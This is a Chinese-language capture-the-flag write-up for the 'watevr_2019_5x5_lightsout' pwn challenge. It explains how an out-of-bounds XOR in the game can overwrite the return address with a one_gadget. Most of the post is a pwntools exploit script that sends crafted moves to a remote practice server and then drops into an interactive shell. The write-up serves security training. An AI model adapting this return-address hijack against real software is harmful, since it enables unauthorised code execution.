watevr_2019_5x5_lightsout

161 篇文章 9 订阅
161 篇文章 9 订阅

watevr_2019_5x5_lightsout

根据这里的越界异或,将返回地址改为one_gadget。其中注意到能够异或的值是有限定的,可以异或(7 << (i - 1))的值,如下

00000011
00000111
00001110
00011100
00111000
01110000
11100000
11000000
10000000
00000000

可以发现,这样值已经可以构造任意的值了。如下exp,是假设存在借位的情况,因此需要一定的概率才能成功

#coding:utf8
from pwn import *

#sh = process('./watevr_2019_5x5_lightsout',env = {'LD_PRELOAD':'./libc-2.27.so'})
sh = remote('node3.buuoj.cn',28016)
sh.sendlineafter('Press enter to run M-x 5x5','')

sh.sendlineafter('Board size (1 to 8)?','1')


sh.sendlineafter('[f <x> <y>/h/q]:','f 0 50')

sh.sendlineafter('[f <x> <y>/h/q]:','f 0 49')
sh.sendlineafter('[f <x> <y>/h/q]:','f 2 49')
sh.sendlineafter('[f <x> <y>/h/q]:','f 3 49')
sh.sendlineafter('[f <x> <y>/h/q]:','f 4 49')
sh.sendlineafter('[f <x> <y>/h/q]:','f 7 49')
sh.sendlineafter('[f <x> <y>/h/q]:','f 8 49')


sh.sendlineafter('[f <x> <y>/h/q]:','f 4 48')
sh.sendlineafter('[f <x> <y>/h/q]:','f 5 48')
sh.sendlineafter('[f <x> <y>/h/q]:','f 6 48')
sh.sendlineafter('[f <x> <y>/h/q]:','f 8 48')


sh.sendlineafter('[f <x> <y>/h/q]:','q')




sh.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值